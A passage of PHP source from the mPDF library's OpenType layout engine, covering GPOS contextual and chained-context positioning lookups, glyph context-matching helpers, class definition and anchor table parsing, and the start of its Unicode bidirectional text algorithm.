$PosClassSetCnt = $this->read_ushort(); $PosClassSetOffset = []; for ($b = 0; $b < $PosClassSetCnt; $b++) { $offset = $this->read_ushort(); if ($offset == 0x0000) { $PosClassSetOffset[] = $offset; } else { $PosClassSetOffset[] = $subtable_offset + $offset; } } $InputClasses = $this->_getClasses($InputClassDefOffset); for ($s = 0; $s < $PosClassSetCnt; $s++) { // $ChainPosClassSet is ordered by input class-may be NULL // Select $PosClassSet if currGlyph is in First Input Class if ($PosClassSetOffset[$s] > 0 && isset($InputClasses[$s][$currGID])) { $this->seek($PosClassSetOffset[$s]); $PosClassRuleCnt = $this->read_ushort(); $PosClassRule = []; for ($b = 0; $b < $PosClassRuleCnt; $b++) { $PosClassRule[$b] = $PosClassSetOffset[$s] + $this->read_ushort(); } for ($b = 0; $b < $PosClassRuleCnt; $b++) { // EACH RULE $this->seek($PosClassRule[$b]); $InputGlyphCount = $this->read_ushort(); $PosCount = $this->read_ushort(); $Input = []; for ($r = 1; $r < $InputGlyphCount; $r++) { $Input[$r] = $this->read_ushort(); } $inputClass = $s; $inputGlyphs = []; $inputGlyphs[0] = $InputClasses[$inputClass]; if ($InputGlyphCount > 1) { // NB starts at 1 for ($gcl = 1; $gcl < $InputGlyphCount; $gcl++) { $classindex = $Input[$gcl]; if (isset($InputClasses[$classindex])) { $inputGlyphs[$gcl] = $InputClasses[$classindex]; } else { $inputGlyphs[$gcl] = ''; } } } // Class 0 contains all the glyphs NOT in the other classes $class0excl = []; for ($gc = 1; $gc <= count($InputClasses); $gc++) { if (is_array($InputClasses[$gc])) { $class0excl = $class0excl + $InputClasses[$gc]; } } $backtrackGlyphs = []; $lookaheadGlyphs = []; $matched = $this->checkContextMatchMultipleUni($inputGlyphs, $backtrackGlyphs, $lookaheadGlyphs, $ignore, $ptr, $class0excl); if ($matched) { for ($p = 0; $p < $PosCount; $p++) { // EACH LOOKUP $SequenceIndex[$p] = $this->read_ushort(); $LookupListIndex[$p] = $this->read_ushort(); } for ($p = 0; $p < $PosCount; $p++) { // Apply $LookupListIndex at $SequenceIndex if ($SequenceIndex[$p] >= $InputGlyphCount) { continue; } $lu = $LookupListIndex[$p]; $luType = $this->GPOSLookups[$lu]['Type']; $luFlag = $this->GPOSLookups[$lu]['Flag']; $luMarkFilteringSet = $this->GPOSLookups[$lu]['MarkFilteringSet']; $luptr = $matched[$SequenceIndex[$p]]; $lucurrGlyph = $this->OTLdata[$luptr]['hex']; $lucurrGID = $this->OTLdata[$luptr]['uni']; foreach ($this->GPOSLookups[$lu]['Subtables'] as $luc => $lusubtable_offset) { $shift = $this->_applyGPOSsubtable($lu, $luc, $luptr, $lucurrGlyph, $lucurrGID, ($lusubtable_offset - $this->GPOS_offset + $this->GSUB_length), $luType, $luFlag, $luMarkFilteringSet, $this->LuCoverage[$lu][$luc], $tag, 1, $is_old_spec); if ($this->debugOTL && $shift) { $this->_dumpproc('GPOS', $lookupID, $subtable, $Type, $PosFormat, $ptr, $currGlyph, $level); } if ($shift) { break; } } } if (!defined("OMIT_OTL_FIX_3") || OMIT_OTL_FIX_3 != 1) { return $shift; } /* OTL_FIX_3 */ else { return $InputGlyphCount; // should be + matched ignores in Input Sequence } } } } } return 0; } //=========== // Format 3: //=========== elseif ($PosFormat == 3) { throw new \Mpdf\MpdfException("GPOS Lookup Type " . $Type . " Format " . $PosFormat . " not TESTED YET."); } else { throw new \Mpdf\MpdfException("GPOS Lookup Type " . $Type . ", Format " . $PosFormat . " not supported."); } } //////////////////////////////////////////////////////////////////////////////// // LookupType 8: Chained Context positioning Position one or more glyphs in chained context //////////////////////////////////////////////////////////////////////////////// elseif ($Type == 8) { //=========== // Format 1: //=========== if ($PosFormat == 1) { throw new \Mpdf\MpdfException("GPOS Lookup Type " . $Type . " Format " . $PosFormat . " not TESTED YET."); return 0; } //=========== // Format 2: //=========== elseif ($PosFormat == 2) { $CoverageTableOffset = $subtable_offset + $this->read_ushort(); $BacktrackClassDefOffset = $subtable_offset + $this->read_ushort(); $InputClassDefOffset = $subtable_offset + $this->read_ushort(); $LookaheadClassDefOffset = $subtable_offset + $this->read_ushort(); $ChainPosClassSetCnt = $this->read_ushort(); $ChainPosClassSetOffset = []; for ($b = 0; $b < $ChainPosClassSetCnt; $b++) { $offset = $this->read_ushort(); if ($offset == 0x0000) { $ChainPosClassSetOffset[] = $offset; } else { $ChainPosClassSetOffset[] = $subtable_offset + $offset; } } $BacktrackClasses = $this->_getClasses($BacktrackClassDefOffset); $InputClasses = $this->_getClasses($InputClassDefOffset); $LookaheadClasses = $this->_getClasses($LookaheadClassDefOffset); for ($s = 0; $s < $ChainPosClassSetCnt; $s++) { // $ChainPosClassSet is ordered by input class-may be NULL // Select $ChainPosClassSet if currGlyph is in First Input Class if ($ChainPosClassSetOffset[$s] > 0 && isset($InputClasses[$s][$currGID])) { $this->seek($ChainPosClassSetOffset[$s]); $ChainPosClassRuleCnt = $this->read_ushort(); $ChainPosClassRule = []; for ($b = 0; $b < $ChainPosClassRuleCnt; $b++) { $ChainPosClassRule[$b] = $ChainPosClassSetOffset[$s] + $this->read_ushort(); } for ($b = 0; $b < $ChainPosClassRuleCnt; $b++) { // EACH RULE $this->seek($ChainPosClassRule[$b]); $BacktrackGlyphCount = $this->read_ushort(); $Backtrack = []; for ($r = 0; $r < $BacktrackGlyphCount; $r++) { $Backtrack[$r] = $this->read_ushort(); } $InputGlyphCount = $this->read_ushort(); $Input = []; for ($r = 1; $r < $InputGlyphCount; $r++) { $Input[$r] = $this->read_ushort(); } $LookaheadGlyphCount = $this->read_ushort(); $Lookahead = []; for ($r = 0; $r < $LookaheadGlyphCount; $r++) { $Lookahead[$r] = $this->read_ushort(); } $inputClass = $s; //??? $inputGlyphs = []; $inputGlyphs[0] = $InputClasses[$inputClass]; if ($InputGlyphCount > 1) { // NB starts at 1 for ($gcl = 1; $gcl < $InputGlyphCount; $gcl++) { $classindex = $Input[$gcl]; if (isset($InputClasses[$classindex])) { $inputGlyphs[$gcl] = $InputClasses[$classindex]; } else { $inputGlyphs[$gcl] = ''; } } } // Class 0 contains all the glyphs NOT in the other classes $class0excl = []; for ($gc = 1; $gc <= count($InputClasses); $gc++) { if (isset($InputClasses[$gc]) && is_array($InputClasses[$gc])) { $class0excl = $class0excl + $InputClasses[$gc]; } } if ($BacktrackGlyphCount) { $backtrackGlyphs = []; for ($gcl = 0; $gcl < $BacktrackGlyphCount; $gcl++) { $classindex = $Backtrack[$gcl]; if (isset($BacktrackClasses[$classindex])) { $backtrackGlyphs[$gcl] = $BacktrackClasses[$classindex]; } else { $backtrackGlyphs[$gcl] = ''; } } } else { $backtrackGlyphs = []; } // Class 0 contains all the glyphs NOT in the other classes $bclass0excl = []; for ($gc = 1; $gc <= count($BacktrackClasses); $gc++) { if (isset($BacktrackClasses[$gc]) && is_array($BacktrackClasses[$gc])) { $bclass0excl = $bclass0excl + $BacktrackClasses[$gc]; } } if ($LookaheadGlyphCount) { $lookaheadGlyphs = []; for ($gcl = 0; $gcl < $LookaheadGlyphCount; $gcl++) { $classindex = $Lookahead[$gcl]; if (isset($LookaheadClasses[$classindex])) { $lookaheadGlyphs[$gcl] = $LookaheadClasses[$classindex]; } else { $lookaheadGlyphs[$gcl] = ''; } } } else { $lookaheadGlyphs = []; } // Class 0 contains all the glyphs NOT in the other classes $lclass0excl = []; for ($gc = 1; $gc <= count($LookaheadClasses); $gc++) { if (isset($LookaheadClasses[$gc]) && is_array($LookaheadClasses[$gc])) { $lclass0excl = $lclass0excl + $LookaheadClasses[$gc]; } } $matched = $this->checkContextMatchMultipleUni($inputGlyphs, $backtrackGlyphs, $lookaheadGlyphs, $ignore, $ptr, $class0excl, $bclass0excl, $lclass0excl); if ($matched) { $PosCount = $this->read_ushort(); $SequenceIndex = []; $LookupListIndex = []; for ($p = 0; $p < $PosCount; $p++) { // EACH LOOKUP $SequenceIndex[$p] = $this->read_ushort(); $LookupListIndex[$p] = $this->read_ushort(); } for ($p = 0; $p < $PosCount; $p++) { // Apply $LookupListIndex at $SequenceIndex if ($SequenceIndex[$p] >= $InputGlyphCount) { continue; } $lu = $LookupListIndex[$p]; $luType = $this->GPOSLookups[$lu]['Type']; $luFlag = $this->GPOSLookups[$lu]['Flag']; $luMarkFilteringSet = $this->GPOSLookups[$lu]['MarkFilteringSet']; $luptr = $matched[$SequenceIndex[$p]]; $lucurrGlyph = $this->OTLdata[$luptr]['hex']; $lucurrGID = $this->OTLdata[$luptr]['uni']; foreach ($this->GPOSLookups[$lu]['Subtables'] as $luc => $lusubtable_offset) { $shift = $this->_applyGPOSsubtable($lu, $luc, $luptr, $lucurrGlyph, $lucurrGID, ($lusubtable_offset - $this->GPOS_offset + $this->GSUB_length), $luType, $luFlag, $luMarkFilteringSet, $this->LuCoverage[$lu][$luc], $tag, 1, $is_old_spec); if ($this->debugOTL && $shift) { $this->_dumpproc('GPOS', $lookupID, $subtable, $Type, $PosFormat, $ptr, $currGlyph, $level); } if ($shift) { break; } } } if (!defined("OMIT_OTL_FIX_3") || OMIT_OTL_FIX_3 != 1) { return $shift; } /* OTL_FIX_3 */ else { return $InputGlyphCount; // should be + matched ignores in Input Sequence } } } } } return 0; } //=========== // Format 3: //=========== elseif ($PosFormat == 3) { $BacktrackGlyphCount = $this->read_ushort(); for ($b = 0; $b < $BacktrackGlyphCount; $b++) { $CoverageBacktrackOffset[] = $subtable_offset + $this->read_ushort(); // in glyph sequence order } $InputGlyphCount = $this->read_ushort(); for ($b = 0; $b < $InputGlyphCount; $b++) { $CoverageInputOffset[] = $subtable_offset + $this->read_ushort(); // in glyph sequence order } $LookaheadGlyphCount = $this->read_ushort(); for ($b = 0; $b < $LookaheadGlyphCount; $b++) { $CoverageLookaheadOffset[] = $subtable_offset + $this->read_ushort(); // in glyph sequence order } $PosCount = $this->read_ushort(); $save_pos = $this->_pos; // Save the point just after PosCount $CoverageBacktrackGlyphs = []; for ($b = 0; $b < $BacktrackGlyphCount; $b++) { $this->seek($CoverageBacktrackOffset[$b]); $glyphs = $this->_getCoverage(); $CoverageBacktrackGlyphs[$b] = implode("|", $glyphs); } $CoverageInputGlyphs = []; for ($b = 0; $b < $InputGlyphCount; $b++) { $this->seek($CoverageInputOffset[$b]); $glyphs = $this->_getCoverage(); $CoverageInputGlyphs[$b] = implode("|", $glyphs); } $CoverageLookaheadGlyphs = []; for ($b = 0; $b < $LookaheadGlyphCount; $b++) { $this->seek($CoverageLookaheadOffset[$b]); $glyphs = $this->_getCoverage(); $CoverageLookaheadGlyphs[$b] = implode("|", $glyphs); } $matched = $this->checkContextMatchMultiple($CoverageInputGlyphs, $CoverageBacktrackGlyphs, $CoverageLookaheadGlyphs, $ignore, $ptr); if ($matched) { $this->seek($save_pos); // Return to just after PosCount for ($p = 0; $p < $PosCount; $p++) { // PosLookupRecord $PosLookupRecord[$p]['SequenceIndex'] = $this->read_ushort(); $PosLookupRecord[$p]['LookupListIndex'] = $this->read_ushort(); } for ($p = 0; $p < $PosCount; $p++) { // Apply $PosLookupRecord[$p]['LookupListIndex'] at $PosLookupRecord[$p]['SequenceIndex'] if ($PosLookupRecord[$p]['SequenceIndex'] >= $InputGlyphCount) { continue; } $lu = $PosLookupRecord[$p]['LookupListIndex']; $luType = $this->GPOSLookups[$lu]['Type']; $luFlag = $this->GPOSLookups[$lu]['Flag']; if (isset($this->GPOSLookups[$lu]['MarkFilteringSet'])) { $luMarkFilteringSet = $this->GPOSLookups[$lu]['MarkFilteringSet']; } else { $luMarkFilteringSet = ''; } $luptr = $matched[$PosLookupRecord[$p]['SequenceIndex']]; $lucurrGlyph = $this->OTLdata[$luptr]['hex']; $lucurrGID = $this->OTLdata[$luptr]['uni']; foreach ($this->GPOSLookups[$lu]['Subtables'] as $luc => $lusubtable_offset) { $shift = $this->_applyGPOSsubtable($lu, $luc, $luptr, $lucurrGlyph, $lucurrGID, ($lusubtable_offset - $this->GPOS_offset + $this->GSUB_length), $luType, $luFlag, $luMarkFilteringSet, $this->LuCoverage[$lu][$luc], $tag, 1, $is_old_spec); if ($this->debugOTL && $shift) { $this->_dumpproc('GPOS', $lookupID, $subtable, $Type, $PosFormat, $ptr, $currGlyph, $level); } if ($shift) { break; } } } } } else { throw new \Mpdf\MpdfException("GPOS Lookup Type " . $Type . ", Format " . $PosFormat . " not supported."); } } else { throw new \Mpdf\MpdfException("GPOS Lookup Type " . $Type . " not supported."); } } ////////////////////////////////////////////////////////////////////////////////// // GPOS / GSUB / GCOM (common) functions ////////////////////////////////////////////////////////////////////////////////// private function checkContextMatch($Input, $Backtrack, $Lookahead, $ignore, $ptr) { // Input etc are single numbers - GSUB Format 6.1 // Input starts with (1=>xxx) // return false if no match, else an array of ptr for matches (0=>0, 1=>3,...) $current_syllable = (isset($this->OTLdata[$ptr]['syllable']) ? $this->OTLdata[$ptr]['syllable'] : 0); // BACKTRACK $checkpos = $ptr; for ($i = 0; $i < count($Backtrack); $i++) { $checkpos--; while (isset($this->OTLdata[$checkpos]) && strpos($ignore, $this->OTLdata[$checkpos]['hex']) !== false) { $checkpos--; } // If outside scope of current syllable - return no match if ($this->restrictToSyllable && isset($this->OTLdata[$checkpos]['syllable']) && $this->OTLdata[$checkpos]['syllable'] != $current_syllable) { return false; } elseif (!isset($this->OTLdata[$checkpos]) || $this->OTLdata[$checkpos]['uni'] != $Backtrack[$i]) { return false; } } // INPUT $matched = [0 => $ptr]; $checkpos = $ptr; for ($i = 1; $i < count($Input); $i++) { $checkpos++; while (isset($this->OTLdata[$checkpos]) && strpos($ignore, $this->OTLdata[$checkpos]['hex']) !== false) { $checkpos++; } // If outside scope of current syllable - return no match if ($this->restrictToSyllable && isset($this->OTLdata[$checkpos]['syllable']) && $this->OTLdata[$checkpos]['syllable'] != $current_syllable) { return false; } elseif (isset($this->OTLdata[$checkpos]) && $this->OTLdata[$checkpos]['uni'] == $Input[$i]) { $matched[] = $checkpos; } else { return false; } } // LOOKAHEAD for ($i = 0; $i < count($Lookahead); $i++) { $checkpos++; while (isset($this->OTLdata[$checkpos]) && strpos($ignore, $this->OTLdata[$checkpos]['hex']) !== false) { $checkpos++; } // If outside scope of current syllable - return no match if ($this->restrictToSyllable && isset($this->OTLdata[$checkpos]['syllable']) && $this->OTLdata[$checkpos]['syllable'] != $current_syllable) { return false; } elseif (!isset($this->OTLdata[$checkpos]) || $this->OTLdata[$checkpos]['uni'] != $Lookahead[$i]) { return false; } } return $matched; } private function checkContextMatchMultiple($Input, $Backtrack, $Lookahead, $ignore, $ptr, $class0excl = '', $bclass0excl = '', $lclass0excl = '') { // Input etc are string/array of glyph strings - GSUB Format 5.2, 5.3, 6.2, 6.3, GPOS Format 7.2, 7.3, 8.2, 8.3 // Input starts with (1=>xxx) // return false if no match, else an array of ptr for matches (0=>0, 1=>3,...) // $class0excl is the string of glyphs in all classes except Class 0 (GSUB 5.2, 6.2, GPOS 7.2, 8.2) // $bclass0excl & $lclass0excl are the same for lookahead and backtrack (GSUB 6.2, GPOS 8.2) $current_syllable = (isset($this->OTLdata[$ptr]['syllable']) ? $this->OTLdata[$ptr]['syllable'] : 0); // BACKTRACK $checkpos = $ptr; for ($i = 0; $i < count($Backtrack); $i++) { $checkpos--; while (isset($this->OTLdata[$checkpos]) && strpos($ignore, $this->OTLdata[$checkpos]['hex']) !== false) { $checkpos--; } // If outside scope of current syllable - return no match if ($this->restrictToSyllable && isset($this->OTLdata[$checkpos]['syllable']) && $this->OTLdata[$checkpos]['syllable'] != $current_syllable) { return false; } // If Class 0 specified, matches anything NOT in $bclass0excl elseif (!$Backtrack[$i] && isset($this->OTLdata[$checkpos]) && strpos($bclass0excl, $this->OTLdata[$checkpos]['hex']) !== false) { return false; } elseif (!isset($this->OTLdata[$checkpos]) || strpos($Backtrack[$i], $this->OTLdata[$checkpos]['hex']) === false) { return false; } } // INPUT $matched = [0 => $ptr]; $checkpos = $ptr; for ($i = 1; $i < count($Input); $i++) { // Start at 1 - already matched the first InputGlyph $checkpos++; while (isset($this->OTLdata[$checkpos]) && strpos($ignore, $this->OTLdata[$checkpos]['hex']) !== false) { $checkpos++; } // If outside scope of current syllable - return no match if ($this->restrictToSyllable && isset($this->OTLdata[$checkpos]['syllable']) && $this->OTLdata[$checkpos]['syllable'] != $current_syllable) { return false; } // If Input Class 0 specified, matches anything NOT in $class0excl elseif (!$Input[$i] && isset($this->OTLdata[$checkpos]) && strpos($class0excl, $this->OTLdata[$checkpos]['hex']) === false) { $matched[] = $checkpos; } elseif (isset($this->OTLdata[$checkpos]) && strpos($Input[$i], $this->OTLdata[$checkpos]['hex']) !== false) { $matched[] = $checkpos; } else { return false; } } // LOOKAHEAD for ($i = 0; $i < count($Lookahead); $i++) { $checkpos++; while (isset($this->OTLdata[$checkpos]) && strpos($ignore, $this->OTLdata[$checkpos]['hex']) !== false) { $checkpos++; } // If outside scope of current syllable - return no match if ($this->restrictToSyllable && isset($this->OTLdata[$checkpos]['syllable']) && $this->OTLdata[$checkpos]['syllable'] != $current_syllable) { return false; } // If Class 0 specified, matches anything NOT in $lclass0excl elseif (!$Lookahead[$i] && isset($this->OTLdata[$checkpos]) && strpos($lclass0excl, $this->OTLdata[$checkpos]['hex']) !== false) { return false; } elseif (!isset($this->OTLdata[$checkpos]) || strpos($Lookahead[$i], $this->OTLdata[$checkpos]['hex']) === false) { return false; } } return $matched; } private function checkContextMatchMultipleUni($Input, $Backtrack, $Lookahead, $ignore, $ptr, $class0excl = [], $bclass0excl = [], $lclass0excl = []) { // Input etc are array of glyphs - GSUB Format 5.2, 5.3, 6.2, 6.3, GPOS Format 7.2, 7.3, 8.2, 8.3 // Input starts with (1=>xxx) // return false if no match, else an array of ptr for matches (0=>0, 1=>3,...) // $class0excl is array of glyphs in all classes except Class 0 (GSUB 5.2, 6.2, GPOS 7.2, 8.2) // $bclass0excl & $lclass0excl are the same for lookahead and backtrack (GSUB 6.2, GPOS 8.2) $current_syllable = (isset($this->OTLdata[$ptr]['syllable']) ? $this->OTLdata[$ptr]['syllable'] : 0); // BACKTRACK $checkpos = $ptr; for ($i = 0; $i < count($Backtrack); $i++) { $checkpos--; while (isset($this->OTLdata[$checkpos]) && strpos($ignore, $this->OTLdata[$checkpos]['hex']) !== false) { $checkpos--; } // If outside scope of current syllable - return no match if ($this->restrictToSyllable && isset($this->OTLdata[$checkpos]['syllable']) && $this->OTLdata[$checkpos]['syllable'] != $current_syllable) { return false; } // If Class 0 specified, matches anything NOT in $bclass0excl elseif (!$Backtrack[$i] && isset($this->OTLdata[$checkpos]) && isset($bclass0excl[$this->OTLdata[$checkpos]['uni']])) { return false; } elseif (!isset($this->OTLdata[$checkpos]) || !isset($Backtrack[$i][$this->OTLdata[$checkpos]['uni']])) { return false; } } // INPUT $matched = [0 => $ptr]; $checkpos = $ptr; for ($i = 1; $i < count($Input); $i++) { // Start at 1 - already matched the first InputGlyph $checkpos++; while (isset($this->OTLdata[$checkpos]) && strpos($ignore, $this->OTLdata[$checkpos]['hex']) !== false) { $checkpos++; } // If outside scope of current syllable - return no match if ($this->restrictToSyllable && isset($this->OTLdata[$checkpos]['syllable']) && $this->OTLdata[$checkpos]['syllable'] != $current_syllable) { return false; } // If Input Class 0 specified, matches anything NOT in $class0excl elseif (!$Input[$i] && isset($this->OTLdata[$checkpos]) && !isset($class0excl[$this->OTLdata[$checkpos]['uni']])) { $matched[] = $checkpos; } elseif (isset($this->OTLdata[$checkpos]) && isset($Input[$i][$this->OTLdata[$checkpos]['uni']])) { $matched[] = $checkpos; } else { return false; } } // LOOKAHEAD for ($i = 0; $i < count($Lookahead); $i++) { $checkpos++; while (isset($this->OTLdata[$checkpos]) && strpos($ignore, $this->OTLdata[$checkpos]['hex']) !== false) { $checkpos++; } // If outside scope of current syllable - return no match if ($this->restrictToSyllable && isset($this->OTLdata[$checkpos]['syllable']) && $this->OTLdata[$checkpos]['syllable'] != $current_syllable) { return false; } // If Class 0 specified, matches anything NOT in $lclass0excl elseif (!$Lookahead[$i] && isset($this->OTLdata[$checkpos]) && isset($lclass0excl[$this->OTLdata[$checkpos]['uni']])) { return false; } elseif (!isset($this->OTLdata[$checkpos]) || !isset($Lookahead[$i][$this->OTLdata[$checkpos]['uni']])) { return false; } } return $matched; } private function _getClassDefinitionTable($offset) { if (isset($this->LuDataCache[$this->fontkey][$offset])) { $GlyphByClass = $this->LuDataCache[$this->fontkey][$offset]; } else { $this->seek($offset); $ClassFormat = $this->read_ushort(); $GlyphClass = []; // $GlyphByClass = array(0=>array()); // NB This forces an index[0] if ($ClassFormat == 1) { $StartGlyph = $this->read_ushort(); $GlyphCount = $this->read_ushort(); for ($i = 0; $i < $GlyphCount; $i++) { $GlyphClass[$i]['startGlyphID'] = $StartGlyph + $i; $GlyphClass[$i]['endGlyphID'] = $StartGlyph + $i; $GlyphClass[$i]['class'] = $this->read_ushort(); for ($g = $GlyphClass[$i]['startGlyphID']; $g <= $GlyphClass[$i]['endGlyphID']; $g++) { $GlyphByClass[$GlyphClass[$i]['class']][] = $this->glyphToChar($g); } } } elseif ($ClassFormat == 2) { $tableCount = $this->read_ushort(); for ($i = 0; $i < $tableCount; $i++) { $GlyphClass[$i]['startGlyphID'] = $this->read_ushort(); $GlyphClass[$i]['endGlyphID'] = $this->read_ushort(); $GlyphClass[$i]['class'] = $this->read_ushort(); for ($g = $GlyphClass[$i]['startGlyphID']; $g <= $GlyphClass[$i]['endGlyphID']; $g++) { $GlyphByClass[$GlyphClass[$i]['class']][] = $this->glyphToChar($g); } } } ksort($GlyphByClass); $this->LuDataCache[$this->fontkey][$offset] = $GlyphByClass; } return $GlyphByClass; } private function count_bits($n) { for ($c = 0; $n; $c++) { $n &= $n - 1; // clear the least significant bit set } return $c; } private function _getValueRecord($ValueFormat) { // Common ValueRecord for GPOS // Only returns 3 possible: $vra['XPlacement'] $vra['YPlacement'] $vra['XAdvance'] $vra = []; // Horizontal adjustment for placement - in design units if (($ValueFormat & 0x0001) == 0x0001) { $vra['XPlacement'] = $this->read_short(); } // Vertical adjustment for placement - in design units if (($ValueFormat & 0x0002) == 0x0002) { $vra['YPlacement'] = $this->read_short(); } // Horizontal adjustment for advance - in design units (only used for horizontal writing) if (($ValueFormat & 0x0004) == 0x0004) { $vra['XAdvance'] = $this->read_short(); } // Vertical adjustment for advance - in design units (only used for vertical writing) if (($ValueFormat & 0x0008) == 0x0008) { $this->read_short(); } // Offset to Device table for horizontal placement-measured from beginning of PosTable (may be NULL) if (($ValueFormat & 0x0010) == 0x0010) { $this->read_ushort(); } // Offset to Device table for vertical placement-measured from beginning of PosTable (may be NULL) if (($ValueFormat & 0x0020) == 0x0020) { $this->read_ushort(); } // Offset to Device table for horizontal advance-measured from beginning of PosTable (may be NULL) if (($ValueFormat & 0x0040) == 0x0040) { $this->read_ushort(); } // Offset to Device table for vertical advance-measured from beginning of PosTable (may be NULL) if (($ValueFormat & 0x0080) == 0x0080) { $this->read_ushort(); } return $vra; } private function _getAnchorTable($offset = 0) { if ($offset) { $this->seek($offset); } $AnchorFormat = $this->read_ushort(); $XCoordinate = $this->read_short(); $YCoordinate = $this->read_short(); // Format 2 specifies additional link to contour point; Format 3 additional Device table return [$XCoordinate, $YCoordinate]; } private function _getMarkRecord($offset, $MarkPos) { $this->seek($offset); $MarkCount = $this->read_ushort(); $this->skip($MarkPos * 4); $Class = $this->read_ushort(); $MarkAnchor = $offset + $this->read_ushort(); // = Offset to anchor table list($x, $y) = $this->_getAnchorTable($MarkAnchor); $MarkRecord = ['Class' => $Class, 'AnchorX' => $x, 'AnchorY' => $y]; return $MarkRecord; } private function _getGCOMignoreString($flag, $MarkFilteringSet) { // If ignoreFlag set, combine all ignore glyphs into -> "(?:( 0FBA1| 0FBA2| 0FBA3)*)" // else "()" // for Input - set on secondary Lookup table if in Context, and set Backtrack and Lookahead on Context Lookup $str = ""; $ignoreflag = 0; // Flag & 0xFF?? = MarkAttachmentType if ($flag & 0xFF00) { // "a lookup must ignore any mark glyphs that are not in the specified mark attachment class" // $this->MarkAttachmentType is already adjusted for this i.e. contains all Marks except those in the MarkAttachmentClassDef table $MarkAttachmentType = $flag >> 8; $ignoreflag = $flag; $str = $this->MarkAttachmentType[$MarkAttachmentType]; } // Flag & 0x0010 = UseMarkFilteringSet if ($flag & 0x0010) { throw new \Mpdf\MpdfException("This font [" . $this->fontkey . "] contains MarkGlyphSets - Not tested yet"); // Change also in ttfontsuni.php if ($MarkFilteringSet == '') { throw new \Mpdf\MpdfException("This font [" . $this->fontkey . "] contains MarkGlyphSets - but MarkFilteringSet not set"); } $str = $this->MarkGlyphSets[$MarkFilteringSet]; } // If Ignore Marks set, supercedes any above // Flag & 0x0008 = Ignore Marks - (unless already done with MarkAttachmentType) if (($flag & 0x0008) == 0x0008 && ($flag & 0xFF00) == 0) { $ignoreflag = 8; $str = $this->GlyphClassMarks; } // Flag & 0x0004 = Ignore Ligatures if (($flag & 0x0004) == 0x0004) { $ignoreflag += 4; if ($str) { $str .= "|"; } $str .= $this->GlyphClassLigatures; } // Flag & 0x0002 = Ignore BaseGlyphs if (($flag & 0x0002) == 0x0002) { $ignoreflag += 2; if ($str) { $str .= "|"; } $str .= $this->GlyphClassBases; } if ($str) { return "((?:(?:" . $str . "))*)"; } else { return "()"; } } private function _checkGCOMignore($flag, $glyph, $MarkFilteringSet) { $ignore = false; // Flag & 0x0008 = Ignore Marks - (unless already done with MarkAttachmentType) if (($flag & 0x0008 && ($flag & 0xFF00) == 0) && strpos($this->GlyphClassMarks, $glyph)) { $ignore = true; } if (($flag & 0x0004) && strpos($this->GlyphClassLigatures, $glyph)) { $ignore = true; } if (($flag & 0x0002) && strpos($this->GlyphClassBases, $glyph)) { $ignore = true; } // Flag & 0xFF?? = MarkAttachmentType if ($flag & 0xFF00) { // "a lookup must ignore any mark glyphs that are not in the specified mark attachment class" // $this->MarkAttachmentType is already adjusted for this i.e. contains all Marks except those in the MarkAttachmentClassDef table if (strpos($this->MarkAttachmentType[($flag >> 8)], $glyph)) { $ignore = true; } } // Flag & 0x0010 = UseMarkFilteringSet if (($flag & 0x0010) && strpos($this->MarkGlyphSets[$MarkFilteringSet], $glyph)) { $ignore = true; } return $ignore; } /** * Bidi algorithm * * These functions are called from mpdf after GSUB/GPOS has taken place * At this stage the bidi-type is in string form * * Bidirectional Character Types * ============================= * Type Description General Scope * Strong * L Left-to-Right LRM, most alphabetic, syllabic, Han ideographs, non-European or non-Arabic digits, ... * LRE Left-to-Right Embedding LRE * LRO Left-to-Right Override LRO * R Right-to-Left RLM, Hebrew alphabet, and related punctuation * AL Right-to-Left Arabic Arabic, Thaana, and Syriac alphabets, most punctuation specific to those scripts, ... * RLE Right-to-Left Embedding RLE * RLO Right-to-Left Override RLO * Weak * PDF Pop Directional Format PDF * EN European Number European digits, Eastern Arabic-Indic digits, ... * ES European Number Separator Plus sign, minus sign * ET European Number Terminator Degree sign, currency symbols, ... * AN Arabic Number Arabic-Indic digits, Arabic decimal and thousands separators, ... * CS Common Number Separator Colon, comma, full stop (period), No-break space, ... * NSM Nonspacing Mark Characters marked Mn (Nonspacing_Mark) and Me (Enclosing_Mark) in the Unicode Character Database * BN Boundary Neutral Default ignorables, non-characters, and control characters, other than those explicitly given other types. * Neutral * B Paragraph Separator Paragraph separator, appropriate Newline Functions, higher-level protocol paragraph determination * S Segment Separator Tab * WS Whitespace Space, figure space, line separator, form feed, General Punctuation spaces, ... * ON Other Neutrals All other characters, including OBJECT REPLACEMENT CHARACTER */ public function bidiSort($ta, $str, $dir, &$chunkOTLdata, $useGPOS) { $pel = 0; // paragraph embedding level $maxlevel = 0; $numchars = count($chunkOTLdata['char_data']); // Set the initial paragraph embedding level if ($dir == 'rtl') { $pel = 1; } else { $pel = 0; } // X1. Begin by setting the current embedding level to the paragraph embedding level. Set the directional override status to neutral. // Current Embedding Level $cel = $pel; // directional override status (-1 is Neutral) $dos = -1; $remember = []; // Array of characters data $chardata = []; // Process each character iteratively, applying rules X2 through X9. Only embedding levels from 0 to 61 are valid in this phase. // In the resolution of levels in rules I1 and I2, the maximum embedding level of 62 can be reached. for ($i = 0; $i < $numchars; ++$i) { if ($chunkOTLdata['char_data'][$i]['uni'] == 8235) { // RLE // X2. With each RLE, compute the least greater odd embedding level. // a. If this new level would be valid, then this embedding code is valid. Remember (push) the current embedding level and override status. Reset the current level to this new level, and reset the override status to neutral. // b. If the new level would not be valid, then this code is invalid. Do not change the current level or override status. $next_level = $cel + ($cel % 2) + 1; if ($next_level < 62) { $remember[] = ['num' => 8235, 'cel' => $cel, 'dos' => $dos]; $cel = $next_level; $dos = -1; } } elseif ($chunkOTLdata['char_data'][$i]['uni'] == 8234) { // LRE // X3. With each LRE, compute the least greater even embedding level. // a. If this new level would be valid, then this embedding code is valid. Remember (push) the current embedding level and override status. Reset the current level to this new level, and reset the override status to neutral. // b. If the new level would not be valid, then this code is invalid. Do not change the current level or override status. $next_level = $cel + 2 - ($cel % 2); if ($next_level < 62) { $remember[] = ['num' => 8234, 'cel' => $cel, 'dos' => $dos]; $cel = $next_level; $dos = -1; } } elseif ($chunkOTLdata['char_data'][$i]['uni'] == 8238) { // RLO // X4. With each RLO, compute the least greater odd embedding level. // a. If this new level would be valid, then this embedding code is valid. Remember (push) the current embedding level and override status. Reset the current level to this new level, and reset the override status to right-to-left. // b. If the new level would not be valid, then this code is invalid. Do not change the current level or override status. $next_level = $cel + ($cel % 2) + 1; if ($next_level < 62) { $remember[] = ['num' => 8238, 'cel' => $cel, 'dos' => $dos]; $cel = $next_level; $dos = Ucdn::BIDI_CLASS_R; } } elseif ($chunkOTLdata['char_data'][$i]['uni'] == 8237) { // LRO // X5. With each LRO, compute the least greater even embedding level. // 